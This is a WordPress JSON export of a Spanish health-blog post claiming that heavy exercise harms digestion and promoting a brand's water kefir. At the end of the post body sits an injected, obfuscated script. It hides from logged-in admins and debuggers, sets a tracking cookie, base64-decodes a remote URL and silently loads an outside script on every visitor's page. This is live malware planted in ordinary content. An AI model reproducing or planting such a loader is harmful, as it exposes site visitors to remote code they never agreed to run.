{"id":1558,"date":"2018-08-09T14:34:47","date_gmt":"2018-08-09T19:34:47","guid":{"rendered":"https:\/\/pranama.life\/?p=1558"},"modified":"2026-03-18T06:30:44","modified_gmt":"2026-03-18T11:30:44","slug":"espanol-cuidas-tu-sistema-digestivo-al-ejercitarte","status":"publish","type":"post","link":"https:\/\/pranama.life\/es\/espanol-cuidas-tu-sistema-digestivo-al-ejercitarte\/","title":{"rendered":"\u00bfCuidas tu sistema digestivo al ejercitarte?"},"content":{"rendered":"<p><\/p>\n<h3 style=\"text-align: center\"><span style=\"color: #ff0000\"><strong>\u00bfCuidas tu sistema digestivo al ejercitarte?<\/strong><\/span><\/h3>\n<p>&nbsp;<\/p>\n<p>Las propiedades del ejercicio para el cuidado del cuerpo son inmensas. Desde ayudar a liberar el estr\u00e9s hasta ayudarnos a mantener un bienestar f\u00edsico y mental. El ejercicio es fundamental para nuestra subsistencia como especie y\u00a0 una actividad que se deber\u00eda practicar de manera constante. Ahora, hay un aspecto negativo de las extensas rutinas de ejercicio que muchas personas ignoran.<\/p>\n<p>En estudios recientes se ha descubierto que en rutinas fuertes de ejercicio el cuerpo tiende a disminuir el ritmo de las funciones gastrointestinales , lo cual puede retener desechos intestinales en un tiempo mayor al adecuado, causando efectos nocivos para el sistema digestivo.<\/p>\n<p>En muchos casos se han visto efectos de \u201cColitis\u201d en corredores de alto impacto , los cuales surgen por su tipo de rutina. Un aspecto que tiene efecto es que las rutinas de ejercicios tienden a deshidratar el cuerpo, lo cual tiene efecto directo sobre la composici\u00f3n de nuestra flora intestinal, generando posible debilidad intestinal. En una investigaci\u00f3n de la Universidad de Illinois se ha descubierto que el desarrollo de ejercicio podr\u00eda cambiar la composici\u00f3n de nuestra flora intestinal.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u00bfC\u00f3mo cuidarme?<\/strong><\/p>\n<p>Para cuidarnos de estos efectos, es fundamental tener una buena hidrataci\u00f3n y evitar ingerir alimentos en tiempos puntuales, espec\u00edficamente antes o despu\u00e9s \u00a0de realizar rutinas fuertes de ejercicio. Esto evitara retener desechos en nuestro sistema y poder mantener un flujo de nuestros alimentos.<\/p>\n<p>En el tema de la hidrataci\u00f3n , es fundamental mantener la capacidad de nuestra flora intestinal para absorber nutrientes. En este aspecto se recomienda aprovechar las propiedades del <a href=\"https:\/\/pranama.life\/es\/product-category\/kefir\/\">K\u00e9fir de Agua<\/a>, esta bebida est\u00e1 compuesta de microorganismos que pueden proteger nuestro sistema digestivo.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Fuente:<\/strong><\/p>\n<p>https:\/\/bit.ly\/2Mdr8M3<\/p>\n<p>https:\/\/bit.ly\/2KFCnYR<\/p>\n<p>https:\/\/bit.ly\/2nq88fg<\/p>\n<p>https:\/\/bit.ly\/2Crg0mz<\/p>\n<p>https:\/\/bit.ly\/2nooWTZ<\/p>\n<p>&nbsp;<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>\u00bfCuidas tu sistema digestivo al ejercitarte? &nbsp; Las propiedades del [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":1564,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1558","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sin-categoria"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u00bfCuidas tu sistema digestivo al ejercitarte? - Pranama Life<\/title>\n<meta name=\"description\" content=\"\u00bfYou take care of your digestive system in exercise? &nbsp; The properties of exercise for the body care are immense. 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